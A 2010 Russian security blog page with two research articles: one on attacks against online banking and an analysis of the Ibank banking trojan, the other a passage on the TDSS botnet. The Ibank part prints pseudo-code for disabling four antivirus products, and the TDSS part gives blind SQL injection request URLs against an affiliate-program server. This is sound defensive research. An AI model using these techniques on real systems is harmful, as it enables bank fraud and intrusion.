пятница, 15 октября 2010 г.

Атаки на банковские системы

О схемах атаки на системы электронной коммерции и универсальном российском трояне-банкере Ibank.

Алиса Шевченко
руководитель
«Лаборатория информационной безопасности» (eSage Lab)
alisa@esagelab.com
.
Вредоносные программы, нацеленные на махинации с системами онлайн-банкинга — так называемые «банкеры» — известны с давних времён. В 2004 году основную массу троянов-банкеров составляли примитивные вредоносные программы, разработанные в средах Visual Basic и Delphi. Они достигали своих целей путём перехвата нажатий клавиш при вводе данных авторизации в контексте веб-браузера, открытого на странице интернет-банка, или (чаще) в контексте всей операционной системы. Существенная часть троянов-банкеров тех времен была нацелена на пользователей бразильских банков — по видимости, вследствие массового внедрения электронной коммерции в контексте развивающейся экономики.
Эволюция не стоит на месте. Современные трояны-банкеры более изощрены, и доставляют массу хлопот уже не только отдельным пользователям интернет-банков, но также самим банкам и коммерческим организациям по всему миру. Практически в любом сообщении мировых новостей, посвящённом очередному крупному финансовому мошенничеству, фигурирует более или менее расплывчатое упоминание о троянской программе, использованной в ходе атаки.
Эта мировая тенденция имеет своё отражение и в контексте современной России. Пример с бразильскими троянами-банкерами, приведённый в первом абзаце, вполне соответствует нашей ситуации — с той лишь разницей, что русские разработчики вредоносных программ в целом более изобретательны и профессиональны относительно мирового уровня, и «поделками» на Visual Basic дело в данном случае не ограничивается.
.
За последние 1–2 года распространённость различных систем электронной коммерции в России достигла критической массы, начав привлекать внимание организованной преступности. Если пару лет назад большинство троянов-банкеров, в том числе и разработанных в России, были «заточены» под интернет-системы зарубежных банков, то теперь всё чаще производятся атаки и на российские системы электронных платежей (Webmoney, Yandex.Money), системы собственной разработки отдельных банков, а также универсальные платформы для систем ДБО (Inter-PRO Client, BS-Client, iBank и других). Тенденция появления эффективных схем атаки на универсальные платформы ДБО заслуживает особого внимания, так как она ставит под угрозу практически все российские банки и коммерческие организации.
Цель данной статьи — осветить современные тенденции в области атак на системы электронной коммерции. В первой части статьи приводится обзор технологий и схем атаки. Во второй части описаны результаты анализа шпионской программы Ibank, обеспечивающей атаку на целый ряд популярных систем ДБО российского производства.

Обзор методов атаки

Технологии

.
Большинство современных систем электронных платежей реализованы на основе технологии «тонкого клиента». Пользователь работает с онлайн-банкингом, как с обычным веб-сайтом, а аутентификация пользователя и шифрование трафика обеспечивается с помощью отдельного приложения. В роли этого приложения может выступать одна из доступных на рынке платформ ДБО, таких как BS-Client (BSS) или Inter-PRO (Сигнал-КОМ), либо система собственной разработки банка. Платформа ДБО, в свою очередь, опирается на систему криптопровайдера с государственной аккредитацией (СКЗИ), такую как «Агава» или «Бикрипт», для обеспечения шифрования по алгоритмам ГОСТ.
Онлайн-банкинг также может быть реализован в виде обычного сайта с доступом по протоколу HTTPS, в виде независимого приложения или модуля Java. С точки зрения фундаментальных технологий атаки детали реализации системы несущественны.
Рассмотрим различные методы защиты, используемые в системах электронной коммерции, их уязвимости и соответствующие методы атаки.

Логин, пароль, ключевые файлы

Вход в интернет-систему банка с использованием логина, пароля и секретного ключа является классической реализацией двухфакторной аутентификации. Это наиболее уязвимая схема защиты. Несмотря на то, что универсальные платформы для систем ДБО позволяют подключать дополнительные средства защиты, такие как аппаратные ключи — защита с использованием логина, пароля и сертификата остаётся «вариантом по умолчанию», и именно он используется в большинстве реализаций онлайн-банкинга.
Взлом такой защиты сводится к захвату данных для авторизации пользователя с последующим их использованием для получения удалённого доступа к системе банка или электронных платежей.
Захват файлов ключей может быть реализован с помощью следующих техник:
  • непосредственное копирование файлов ключей;
  • копирование ключей путём перехвата файловых операций в контексте браузера или целевой программы;
  • экспорт сертификатов из хранилища браузера;
  • перехват сертификатов в момент их использования пользователем.
Файлы ключей в большинстве систем не защищены от копирования, если только речь не идет об аппаратных средствах защиты, таких как eToken PRO. При экспорте сертификатов из хранилища браузера троян может при необходимости подбирать пароль на экспорт, установленный пользователем.
Захват логина и пароля может быть реализован следующими способами:
  • перехват всех нажатий клавиш в системе;
  • перехват нажатий клавиш в контексте браузера или целевой программы;
  • считывание значений полей ввода в окне браузера или целевой программы;
  • перехват HTTP-запросов к целевому банку с последующим извлечением логина и пароля из полей HTTP-запроса.
Для отсева лишней информации шпионская программа может осуществлять поиск таких объектов, как заголовки окон интернет-банка, названия полей ввода, элементы URL и т.п. Идентификация ключевых файлов может осуществляться по имени, части пути или по сигнатуре — например, ключевые файлы универсальной системы ДБО iBank идентифицируются троянами по сигнатуре iBKS в момент обращения к ним пользователя.

Аппаратные ключи

.
Аппаратные ключи («токены») используются в качестве средства для усиления защиты. Существует несколько классов аппаратных ключей, реализующих принципиально разные схемы защиты. С точки зрения атаки разница между классами аппаратных ключей играет незначительную роль. В частности, обобщённый метод атаки на все виды аппаратных ключей заключается в перехвате инициированной пользователем транзакции с подстановкой в неё данных для совершения несанкционированного перевода на счёт атакующего.
Рассмотрим более подробно техники атаки на два наиболее популярных класса аппаратных ключей: «токены», реализующие генерацию одноразовых паролей (на примере eToken PASS) и аппаратные ключи, реализующие хранение секретных ключей и аппаратные криптовычисления (на примере eToken PRO).
Аппаратный ключ eToken PASS представляет собой брелок, реализующий выдачу одноразового пароля по запросу пользователя. Полученный пароль может использоваться для дополнительной защиты авторизации и/или отдельных действий пользователя. Верификация пароля осуществляется на стороне сервера.
Для обхода этой схемы защиты, помимо вышеописанного метода «подмены данных транзакции», возможен также вариант перехвата одноразового пароля. В частности, после ввода пользователем сеансового пароля троянская программа отображает сообщение об ошибке или блокирует действия пользователя, тем временем инициируя злонамеренную транзакцию с использованием захваченного пароля.
Аппаратный ключ eToken PRO обеспечивает защищённое хранение секретного ключа пользователя, а при необходимости и выполнение криптографических вычислений на микросхеме устройства. В данном случае получение секретного ключа затруднено — таким образом, атакующий не может получить все необходимые данные для удалённого доступа к системе банка.
Тем не менее, атака может быть совершена путём внедрения в легитимный сеанс пользователя. Для этого осуществляется атака на стороне клиента: имитация действий пользователя в программе, подмена данных инициированной пользователем транзакции или независимое формирование нелегальной транзакции при помощи троянской программы или вручную.
В ряде случаев задача сводится к более простой — например, если аппаратный ключ используется только на этапе авторизации в качестве секретного ключа, трафик шифруется по стандартному алгоритму SSL, а к открытому сеансу прикреплён постоянный идентификатор, то возможно сымитировать ложную транзакцию путём отправки серверу системы стандартных HTTP-запросов с использованием идентификатора открытого сеанса. Таким образом, атака возможна в любом случае, а степень её сложности всецело зависит от деталей реализации конкретной схемы защиты.

Одноразовые пароли

Усиление защиты с помощью одноразовых паролей — иногда называемыхсеансовыми ключами или переменными кодами — несколько усложняет атаку.
В предыдущем разделе описан один из вариантов реализации этой защиты — с использованием генератора одноразовых паролей eToken PASS. Второй вариант, более популярный в силу его дешевизны, заключается в предоставлении пользователю массива одноразовых паролей — например, в виде пластиковой карты с заштрихованными кодами. Такой метод дополнительной защиты используется в системе «Телебанк» ВТБ24.
Стандартная техника атаки в данном случае идентична атаке на eToken PRO: троян перехватывает очередной переменный код, введённый пользователем, отображает сообщение об ошибке и использует полученный код для проведения нелегальной транзакции.

SSL и шифрование

Шифрование данных, независимо от методов его реализации, нисколько не защищает от класса атак, которому посвящена данная статья. Как бы ни было реализовано шифрование, всегда есть момент, когда данные открыты — в этот момент их можно перехватить и модифицировать.
Чтение и модификация открытых данных SSL-трафика могут производиться при помощи перехвата стандартных функций библиотеки Wininet для браузера Internet Explorer, функций PR_Read/PR_Write библиотеки nspr4.dll для браузера Mozilla, и неэкспортируемой функции из библиотеки opera.dll для браузера Opera.

Проверка IP-адреса клиента

В качестве дополнительной меры защиты на сервере ДБО может быть реализована проверка IP-адреса пользователя перед аутентификацией. В таком случае атакующий не сможет удалённо подключиться к интернет-банку, даже имея логин, пароль и ключи легитимного пользователя.
Обход такой защиты обеспечивается туннелированием трафика атакующего через компьютер легитимного пользователя, на котором средствами трояна открыт прокси-сервер.
Следует подчеркнуть, что все перечисленные выше технологии атаки не являются концептуальными, но в той или иной форме реализованы и используются.

Мишени

Финансовые махинации могут быть нацелены на тот или иной сегмент пользователей электронных систем в зависимости от целей, ресурсов и степени наглости атакующих. А поскольку системы электронной коммерции используются всеми сторонами экономического процесса — физическими лицами, коммерческими организациями и финансовыми учреждениями, — пространство для атаки чрезвычайно обширно.
Наиболее популярными мишенями для финансового мошенничества являются следующие социально-экономические классы:
  • клиенты банков;
  • пользователи электронных платёжных систем;
  • малый и средний бизнес;
  • крупные коммерческие организации;
  • банки и другие финансовые учреждения;
  • системы денежных переводов.
.
Клиенты банков и пользователи ЭПС представляют собой наиболее лёгкую добычу, но и наименее популярную в силу их низкой платёжеспособности. Кроме того, отъём денег у основной массы населения интернета проще осуществить путём прямого вымогательства — что и делают при помощи троянов-вымогателей, таких как SMS-блокировщики рабочего стола и шифровальщики файлов. Тем не менее, в среде мелких киберворишек по-прежнему пользуются популярностью зарубежные пользователи интернет-банков, привлекательность которых обусловлена экономическим разрывом между странами жертвы и атакующего.
Коммерческие организации любого масштаба представляют собой достаточно интересную мишень: у них уже есть что красть. В целом, малый и средний бизнес отличается низкой сопротивляемостью к атакам на компьютерные системы в силу отсутствия или слабости политик их защиты. Крупные коммерческие организации лучше защищены, но и представляют больший интерес, что создаёт основания для целевых атак на них.
Внутри инфраструктуры финансовых учреждений также используются автоматизированные финансовые системы. С точки зрения механизмов атаки, система для внутреннего использования практически ничем не отличается от клиентской ДБО: в обоих случаях атака производится методом внедрения трояна на обычный компьютер.
.
Отдельного упоминания заслуживают системы денежных платежей. В силу таких факторов, как масштабность партнёрской сети СДП, невозможность контроля за безопасностью пунктов сети со стороны центрального банка, простота финансовых операций, а также ряда других — этот класс «жертв» представляет повышенный интерес для атакующих. В ходе атаки на компьютере одного из партнёров системы формируется ложная транзакция, в результате проведения которой деньги выводятся наличными на руки «дропа», а финансовые потери несёт пункт выдачи перевода.

Схемы

При совершении финансовых махинаций злоумышленники чаще всего применяют одну из трёх типовых схем атаки.

1. Кража данных для входа в систему

Классическая схема атаки заключается в краже с компьютера пользователя полного комплекта аутентификационных данных и дальнейшем использовании этих данных атакующим для удалённого подключения к системе банка или ЭПС с целью осуществления нелегального перевода. Если на стороне сервера осуществляется проверка IP-адреса, то соединение атакующего туннелируется через компьютер легитимного пользователя.
Это самая простая схема атаки, однако она возможна только при низком (а в современных российских реалиях — «стандартном») уровне защиты целевой системы.
В качестве платформы для реализации этой схемы часто используется троян Ibank, анализ которого приведен во второй части данной статьи.

2. Атака изнутри компьютера «жертвы»

Эта схема представляет собой обобщённое решение для обхода всех дополнительных средств защиты транзакций, а также для атаки на неизвестные и малораспространённые системы банкинга. Атака сводится к установлению терминального соединения с компьютером жертвы и проведению ложных транзакций атакующим вручную, без отображения его действий на экране пользователя.
В качестве платформы для реализации этой схемы часто используется троян Zeus (Zbot), для которого за дополнительную плату доступен модуль удалённого доступа по протоколу VNC. При этом, если адрес целевого компьютера недоступен из интернета, троянская программа может обеспечить обратный канал связи для доступа атакующего.

3. «Автозалив»

Третья схема атаки подразумевает автоматизацию предыдущей схемы. Автоматизация осуществляется преимущественно для систем на основе технологии «тонкий клиент», так как в этом случае задача сводится к модификации данных HTML-страниц и HTTP-запросов и, таким образом, может быть компактно описана в файле конфигурации и передана троянской программе.
При реализации данной схемы троянская программа формирует новую транзакцию или модифицирует легитимную с целью перевода средств со счёта заражённой жертвы на счёт атакующего. Трафик пользователя модифицируется «на лету» незаметно для него.
Пассивный автозалив осуществляется путём автоматизированной подмены заданных параметров — таких как значения полей размера платежа и реквизитов получателя — в коде веб-страницы в момент проведения пользователем легитимной транзакции. При активном автозаливе троян осуществляет все необходимые манипуляции — от заполнения данных форм и до имитации нажатия кнопок — самостоятельно.
Следует заметить, что технология автозалива не отличается высокой сложностью реализации. От её разработчика требуется, в первую очередь, глубокая осведомленность о механизмах функционирования целевого онлайн-банкинга.

Анализ вредоносной программы Ibank

Троян Ibank представляет собой шпионскую программу массового распространения, предназначенную для реализации атак на российские системы электронной коммерции. Целевые системы включают в себя популярные универсальные платформы для построения систем ДБО, системы собственной разработки отдельных банков, электронную платёжную систему WebMoney и ряд СКЗИ.
Ibank примечателен по следующим причинам:
  • это самый универсальный шпион конфиденциальной информации, относящейся к платежным системам;
  • это первый троян-банкер, разработанный для атак на российские банки;
  • в настоящий момент троян Ibank активно распространяется: ежедневно обнаруживается, по данным нескольких антивирусных компаний, от 5 до 20 новых версий трояна.
Но главная особенность данного трояна заключается в том, что он широко используется в качестве инструмента для целевых финансовых атак, часто в связке с трояном Zeus. При этом Ibank используется для первоначального получения информации о платёжных системах, а Zeus — в качестве универсального инструмента для управления заражённым компьютером, в том числе для обеспечения удалённого доступа к нему.

Общие сведения

Троян Ibank появился в 2006 году. Первоначально он использовался для нецелевых атак на пользователей интернет-банков, но позднее нашёл применение в качестве инструмента при проведении организованных атак. Весной 2010 года пресс-службой компании Dr. Web было отмечено широкое распространение данной вредоносной программы.
Ibank определяется разными антивирусами под следующими именами: Trojan.PWS.Ibank, Backdoor.Win32.Shiz, Trojan-Spy.Win32.Shiz, Backdoor.Rohimafo и другими.
Существует две разновидности данного трояна: основной модуль и его загрузчик. Распространение загрузчика происходит по классической «партнёрской» схеме, о чём свидетельствует поле seller первого HTTP-запроса, отправляемого успешно установленным загрузчиком на сервер для запроса файла конфигурации:


http://servername/knock.php?n=botID&s=seller-N

Загрузчик получает инсталлятор трояна по ссылке, указанной в файле конфигурации, и запускает его.
Инсталлятор трояна представляет собой зашифрованный файл размером около 100 кБ (MD5: 53aec556c00f34182a72ba8edfb8fca9). Код вредоносной программы реализован на языке C и выполняется в режиме пользователя. С технической точки зрения троян достаточно прост, однако особенности его реализации отражают высокий уровень осведомленности разработчика о внутренних механизмах различных систем ДБО.

Инсталляция и особенности функционирования

Ibank устанавливается в системную директорию (c:\windows\system32) в виде отдельного исполняемого модуля со случайным именем.
На этапе установки троян блокирует доступ к целому ряду IP-адресов путём задания для них заведомо неверных настроек маршрутизации. Для этого вызывается командаroute, устанавливающая ложный шлюз для каждого заданного IP-адреса.
Команда настройки маршрутизации и часть списка IP-адресов в теле программы
Команда настройки маршрутизации и часть списка IP-адресов в теле программы
Автозагрузка трояна при старте Windows обеспечивается записью в ключ реестраHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit.
Работающий троян не имеет собственного процесса. Его код внедряется в системный процесс (svchost.exeservices.exe и другие, в зависимости от версии трояна). Выполнение вредоносного кода в контексте доверенного системного процесса позволяет обходить фаерволы.
Троян не скрывает признаки своего присутствия в системе (файлы, отрытый порт, сетевые соединения) и не содержит функций самостоятельного распространения.
Помимо шпионской функциональности, Ibank оснащен следующими функциями:
  • простой системой приёма команд;
  • функцией незаметной модификации трафика пользователя с целью автоматизации нелегальных транзакций и сокрытия нежелательных данных;
  • функцией настройки таблицы маршрутизации зараженного компьютера по команде от атакующего;
  • функцией открытия прокси-сервера SOCKS на случайном порту;
  • техниками блокирования антивирусов Kaspersky, Avira, AVG и CA HIPS.

Шпионская деятельность

После установки троян перехватывает ряд функций API и ищет в проходящей через перехватчики информации появления определённых маркеров, сопутствующих обращению пользователя к той или иной системе электронной коммерции. Когда маркер найден, соответствующие данные (файлы ключей, логины и пароли) перехватываются и немедленно отсылаются на сервер, указанный в коде программы.
Обобщённо, с целью сбора конфиденциальных данных троянская программа осуществляет следующие действия:
  1. перехват нажатий клавиш в контексте браузера, отдельных процессов, отдельных окон и полей ввода;
  2. перехват трафика HTTPS в контексте браузеров;
  3. копирование ключевых файлов и сертификатов;
  4. экспорт сертификатов из браузеров, в том числе с подбором паролей;
  5. сбор данных непосредственно из HTTP-запроса к серверу системы;
  6. сохранение истории веб-запросов;
  7. сохранение удалённых и восстановленных файлов (.chk).

Механизм сбора данных

Локализация и сбор персональных данных пользователя обеспечивается установкой перехватов на следующие функции:
Название функцииНазначение перехватаЦелевые системы банкинга
CryptEncryptПерехват секретных данных до шифрованияBS-Client
sendWSASendИзвлечение данных из HTTP-запроса кbsi.dllBS-Client
CreateFileПерехват файлов секретных ключей:self.cersecrets.key, всех файлов из директории ctunnel.exe и другихBS-Client, BS-Defender, Raiffeisen, Инист
GetFileAttributesПерехват файлов с сигнатурой iBKS (USB-ключ «iBank 2 Key»)iBank
vb_pfx_import(sks2xyz.dll)Перехват файлов prv_key.pfxsign.cerFaktura
RCN_R50Buffer(FilialRCon.dll)Перехват данных до шифрованияRaiffeisen
GetWindowTextПолучение содержимого поля в окне «Регистрация пользователя»Инист
TranslateMessageПерехват нажатий клавиш в контексте модулей cbsmain.dllintpro.exe,isclient.exejava.exe и другихКлиент-Банк Плюс, Inter-PRO, Бикрипт
PR_Write(nspr4.dll)Перехват HTTPS-трафика в MozillaHandyBank и другие
<неэкспортируемая функция>(opera.dll)Перехват HTTPS-трафика в OperaHandyBank и другие
SendWSASendСохранение параметров POST-запроса: name,passloginpasswordРФК, Inter-PRO
HttpSendRequest*Извлечение данных из HTTP-запросов по шаблонам: action=auth&np=&PHPSESSID=,IW_FormName=fmLogin&IW_FormClass=TfmLog,CryptoPluginId=AGAVA&Sign=СКЗИ «Агава», HandyBank и другие
Код перехватчиков обеспечивает отсев данных, сбор информации и вызов процедуры отправки её на сервер.
Ряд перехваченных функций не являются стандартными API Windows. Среди них функция vb_pfx_import из модуля sks2xyz.dll, входящего в состав универсальной платформы ДБО «Фактура», на основе которой функционирует, к примеру, интернет-банк «Сбербанка», и функция RCN_R50Buffer из модуля FilialRCon.dll, входящего в состав интернет-системы «РайффайзенБанк». Кроме того, с целью получения доступа к открытому трафику SSL осуществляется перехват функций PR_Write из динамической библиотеки браузера Mozilla и неизвестной функции из библиотеки Opera.
Также стоит отметить перехват стандартной функции TranslateMessage, реализующий захват данных из контекста Java-приложений.

Целевые системы

Для каждой из целевых систем электронной коммерции, обнаруженных на зараженном компьютере, создается отдельная директория, в которой хранятся собранные данные о системе.
ДиректорияЦелевые приложенияВеб-сайт разработчика целевой системы
C:\Program Files\Common Files\bssreppДБО «BS-Client»www.bssys.com
C:\Program Files\Common Files\ibankДБО «iBank»www.bifit.com
C:\Program Files\Common Files\fakturaСКЗИ «Бикрипт-КСБ-С» / ДБО «Faktura»www.faktura.ru
C:\Program Files\Common Files\inistДБО «Инист»www.inist.ru
C:\Program Files\Common Files\wmБраузер (ЭПС WebMoney)www.webmoney.ru
C:\Program Files\Common Files\handyБраузер (ДБО HandyBank)www.handybank.ru
C:\Program Files\Common Files\rfkДБО «РФК»www.rfc.ru
C:\Program Files\Common Files\sblБраузер (неизвестный интернет-банк)Неизвестно
C:\Program Files\Common Files\agvСКЗИ «Агава» / ДБО «InterBank»www.alpha.ruwww.r-style.ru
C:\Program Files\Common Files\interДБО «Inter-PRO»www.signal-com.ru
C:\Program Files\Common Files\kbpНеизвестноНеизвестно
C:\Program Files\Common Files\raifДБО РайффайзенБанкwww.raiffeisen.ru
Как видно из таблицы, троян нацелен на все популярные универсальные системы ДБО и, таким образом, обеспечивает кражу данных большинства российских банков.
В ряде случаев данные извлекаются не из платформы ДБО, а из стандартного СКЗИ, обеспечивающего криптооперации с ней.
Собранные данные хранятся перед отправкой в виде текстовых файлов и zip-архивов со следующими именами: pass.logkeylog.txtctunnel.zipkeys.zip,links.log.

Блокирование антивирусов

Отключение антивируса Kasperky производится путём отправки легитимного управляющего сообщения его окну:


FindWindow ("____AVP.Root");
PostMessage (^, 466h);

Отключение Avira производится путём вызова легитимной функции, экспортируемой одной из библиотек антивируса:


RegQueryValue ("SOFTWARE\\Avira\\AntiVir PersonalEdition Classic", "Path");
LoadLibrary ("avipc.dll");
GetProcAddress ("AvIpcCall");
GetProcAddress ("AvIpcConnect");
AvIpcConnect ("avguard01", 1388h); 
AvIpcCall (...); // отключение компонента

Отключение AVG производится путём закрытия процесса программы и записи мусора в файл драйвера:


CreateFile ("%systemroot%\\system32\\drivers\\avgtdix.sys");
WriteFile (^, VirtualAlloc (GetFileSize (^)));
OpenProcess ("avgtray.exe");
TerminateProcess (^);

И наконец, отключение CA HIPS производится путём отправки легитимного кода управления устройству драйвера антивируса:


CreateFile ("\\.\KmxAgent");
DeviceIOControl (86000054h);

Сетевая активность

Троян выполняет следующие действия по обмену данными:
  • непосредственно после инсталляции открывает случайный порт, на котором принимает входящие соединения в качестве прокси-сервера SOCKS;
  • отсылает на сервер путем HTTP-запросов базовую информацию о заражённом компьютере: имя пользователя, имя компьютера, номер порта прокси-сервера;
  • получает с сервера файл конфигурации с командами;
  • после сбора данных отправляет их на сервер методом POST-запроса на адрес скрипта gate.php;
  • в случае получения команды, загружает и устанавливает произвольный модуль.

Удалённое управление

Для управления заражённым компьютером используются команды, получаемые троянской программой с сервера в файле конфигурации. Перечень возможных команд:
КомандаНазначение
!loadЗагрузка и инсталляция модуля с заданного URL
!routeНастройка маршрутизации
!injectНастройки для модификации трафика
!kill_osРазрушение инфицированной операционной системы путем перезаписи первых секторов диска и удаления критичных системных компонент

Технология автозалива

Автозалив и подмена данных веб-страниц обеспечиваются путём модификации HTML-кода в соответствии с правилами, полученными из файла конфигурации.
Файл конфигурации для автозалива содержит набор переменных, определяющих местоположение и содержание производимой модификации. Имена и назначение переменных приведены в таблице.
КомандаНазначение
set_urlЦелевой URL для подмены данных
data_beforeHTML-код, являющийся маркером для начала модификации
data_afterМаркер конца заменяемых данных
data_injectКод подмены
Кроме того, после переменной set_url может быть указана опция G или P, уточняющая целевой запрос (GET или POST). Также существует опция L, указывающая, что необходимо сохранить заданный отрезок HTML-кода в лог вместо его модификации, и опция D, задающая периодичность запуска модификации.
После получения настроек автозалива троян сохраняет их в ключе реестраHKEY_LOCAL_MACHINE\Software\Microsoft\option_9.

Заключение

Подытожим ключевые постулаты данной статьи.
  1. На сегодняшний день большинство инцидентов финансового мошенничества представляют собой атаки на системы онлайн-банкинга с использованием вредоносных программ в качестве инструментов.
  2. Существуют налаженные технологии обхода всех видов защиты, используемых в системах электронных транзакций.
  3. Существуют доступные инструменты для совершения финансовых атак всех видов и масштабов.
  4. Фиксируется рост заинтересованности атакующих субъектами российской электронной коммерции, в первую очередь клиентами банков (как физическими лицами, так и организациями) и системами денежных переводов.
  5. По состоянию на сегодняшний день, 99% потенциальных «жертв» не защищены.
К последнему пункту необходимо привести два пояснения. Во-первых, для заинтересованного атакующего не представляет труда обход антивируса. Таким образом, антивирус в некоторой степени защищает рядовых пользователей онлайн-банкинга, но, по мере увеличения класса платёжеспособности «жертвы», утрачивает свои полезные свойства в связи пропорциональным возрастанием вероятности целевой атаки.
.
Во-вторых, все универсальные платформы ДБО и СКЗИ российского производства принципиально (by design) уязвимы к описанному в данной статье виду атак. Будучи построенными на базе устаревшей парадигмы информационной безопасности, ключевым звеном которой служила защита от сетевых атак (MitM и сетевой взлом), эти системы не предназначены для защиты от локальных атак с использованием вредоносных программ (MitB).
Задача защиты в данном случае сводится к максимальной изоляции клиентской системы банкинга как от внешней сети, так и от других приложений в рамках локального компьютера. На сегодняшний день универсальных решений для этого не существует.
В ряде случаев, сопряженных с невысоким риском атаки, могут применяться половинчатые меры «повышения безопасности». В первую очередь это грамотная настройка политик безопасности и систем мониторинга уязвимого компьютера и прокси-сервера организации, разработанные и внедренные с учётом MitB-парадигмы безопасности.
Для банков доступны такие решения, как полный перевод системы удалённых платежей из интернета на мобильную платформу, а также подключение SMS-уведомлений для каждой транзакции (подчеркнём, что SMS-уведомление должно содержать значение суммы перевода и реквизиты получателя, а номер телефона клиента должен храниться на стороне банка). Последнее решение неудобно для пользователей, создаёт высокую нагрузку на системы банка и неприменимо в организациях с большим объемом транзакций.
Разработчики платформ ДБО могут несколько усложнить задачу атакующим путём дополнительной защиты файлов ключей, запутывания HTML-кода страницы онлайн-банкинга и других подобных «заглушек». Однако, по большому счёту, разработчик платформы ДБО не может решить проблему фундаментально, так как перехват данных осуществляется на уровне операционной системы, независимо от реализации конкретного приложения.
Единственным фундаментальным решением для защиты онлайн-банкинга является его полная изоляция, обеспечивающая невозможность проникновения на компьютер вредоносного кода и установки троянских перехватов. Это решение реализуется путём размещения системы банк-клиента на отдельном физическом компьютере или загрузочном диске, защищённом от записи, в совокупности с тонкой настройкой политик безопасности и общей архитектуры решения. Отметим, что решение по программной виртуализации интернет-банка не имеет смысла, так как оно не защищает от схемы атаки №2 (атака изнутри компьютера «жертвы»), а решение с загрузочным диском окажется бесполезным, если размещённая на нём система может быть успешно атакована в промежутке между загрузками.

TDSS: полное раскрытие

Андрей Рассохин
специалист по информационной безопасности
«Лаборатория информационной безопасности» (eSage Lab)
andrey@esagelab.com
Дмитрий Олексюк
системный архитектор
«Лаборатория информационной безопасности» (eSage Lab)
dmitry@esagelab.com

    Бот-руткит TDSS на сегодняшний день хорошо изучен. Однако ни одно из исследований не идёт дальше анализа кода вредоносной программы и источников её распространения. Данная статья призвана восполнить этот пробел, осветив скрытые механизмы ботнета и его объективные характеристики.
    Кроме того, при публикации этого материала мы преследовали еще одну цель: представить методологию расследования компьютерных преступлений. Данное исследование демонстрирует, как, имея на руках только инструмент злоумышленников (бинарный файл трояна), выйти на «цифровое ядро» киберформирования и проанализировать его. Следует заметить, что применяемый подход позволяет извлечь всю техническую информацию об инциденте, в то время как задача установления личностей атакующих и привлечения их к ответственности остаётся в сфере компетенции правоохранительных органов.

    Часть 1. Вскрытие

    В последнее время в интернете возрождается популярность партнерских программ. Всё больше и больше крупных ботнетов, результаты исследования которых публикуются в русскоязычных и зарубежных источниках, оказываются связаны с той или иной партнёрской программой. Ботнет TDSS — возможно, самый крупный на сегодняшний день — не является исключением. Распространение вредоносной программы, обеспечивающей функционирование данного ботнета, осуществляется партнёрской программой «Dogma Millions».
    Главная страница партнёрской программы dogmamillions.com
    Главная страница партнёрской программы dogmamillions.com
    На сайте dogmamillions.com описаны правила работы с партнёрской программой и условия для партнёров. После регистрации партнёру доступен для загрузки бинарный файл руткита TDSS, подлежащий распространению любыми удобными способами за комиссионное вознаграждение.
    Личный кабинет партнера на сайте партнерской программы
    Личный кабинет партнера на сайте партнерской программы

    Дополнительная учётная запись со ссылкой на загрузку исполняемого файла TDSSПартнёрам предоставляется удобная статистика по заражённым с их помощью компьютерам и количество заработанных комиссионных, а также ссылки на целевые страницы для заражения посетителей, на которые можно направлять поисковой трафик различных тематик.
    Дополнительная учётная запись со ссылкой на загрузку исполняемого файла TDSS

    Партнёрская программа

    л
    На сервере партнёрской программы использовалась база данных MySQL версии 5. Все запросы к базе данных, описанные далее, будут соответствовать языку запросов MySQL.
    Поиск уязвимостей в скриптах личного кабинета не принёс результата. Однако получить доступ к базе данных всё-таки удалось: вначале при помощи атаки Blind SQL injection, а затем и классической атаки SQL injection.
    Для партнёров существует возможность создания дополнительных учетных записей (subaccounts). Последние используются для анализа эффективности использования разных видов веб-трафика с разными целевыми страницы. Например, одной дополнительной учетной записи может соответствовать троян, на загрузку которого будет направляться порно-трафик. Таким образом, данный троян скачает жертва, просматривающая сайты с порнографическим содержимым. К другой может быть привязан троян, загружаемый посетителями сайтов с «крэками». В результате раздельного сбора статистики партнёр может оценить, какой вид трафика лучше подходит для работы с данной партнёрской программой, принося максимум комиссионных.
    Дополнительные учётные записи создаются при помощи HTTP-запроса типа GET:


    http://dogmamillions.com/index.php?request=members.sab_account&create=1

    После такого запроса в личном кабинете партнёра появится дополнительная учётная запись с идентификатором 1. Её можно удалить, указав её идентификатор в соответствующем GET-запросе:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=1

    Атака Blind SQL Injection заключалась в следующем. Необходимо было создать дополнительную учётную запись с любым произвольным идентификатором и затем попытаться его удалить. Параметр запроса delete был уязвим, поэтому возможно было провести атаку, отправив на сервер запрос следующего вида:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=if(ord(substring((version()),1,1))>1,1,0xffff)

    Если значение выражения ord(substring((version()),1,1)) больше 1, то условиеif возвращает 1, и запрос упрощенно принимает следующий вид:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=1

    Если же условие ложно, то запрос будет иметь вид:


    http://dogmamillions.com/index.php?request=members.sab_account&delete=0xffff

    Таким образом, дополнительная учетная запись будет удалена только в том случае, если переданное в параметре delete условие истинно. На основе этих данных может быть проведена атака Blind SQL Injection.
    Возможен и другой вариант атаки. Параметр create команды создания дополнительной учётной записи также уязвим. Запрос следующего вида приведет к созданию на сервере дополнительной учетной записи с идентификатором, равным значению выражения:


    http://dogmamillions.com/index.php?request=members.sab_account&create=ord(substring((version()),1,1))

    Таким образом, если версия базы данных на сервере выше 5, то первым символом строки, которую вернёт команда version(), будет «5». ASCII-код этого символа равен 53, поэтому в личном кабинете партнера появится дополнительная учётная запись с идентификатором 53.
    affiliates
     affId
     affAid
     affLogin
     affPassword
     affGroup
     affBalance
     affBalanceEarnings
     affBalancePayout
     affBalanceRefferal
     affBalanceCPV
     affBalanceBonus
     affBalancePenalty
    affiliatesaccounts
     affId
     affSid
    bonuses
    countries
    cpvearnings
    cronUpdateStatFeeds
     cronId
     cronCreated
     cronStart
     cronCompleted
     cronDateFrom
     cronDateTo
     cronStatus
    crontime
    domains
     id
     domain
     status
     category
    groups
    invites
    managers
    news
    payments
    paymentsfields
    paymentsperiods
    paymentsproperties
    paymentstypes
    penalties
    statisticsearnings
    statisticsinstalls
    statisticsrefferals
    substatearnings
    Часть таблиц с колонками из базы данных dogmamillions.com
    1:Ro**:c94405aee9b728bad************b1f
    3:over****:5f4dcc3b5aa765d61************f99
    Первые дополнительные учетные записи из таблицы affiliates базы данныхdogmamillions.com
    На основе вышеописанных уязвимостей были разработаны эксплойты, с помощью которых был произведен анализ базы данных сервера партнёрской программы.

    Командные сервера

    На момент проведения анализа командные сервера (C&C, command-and-control) ботнета TDSS располагались по следующим доменным именам и IP-адресам (фрагмент файла конфигурации руткита):


    [tdlcmd]
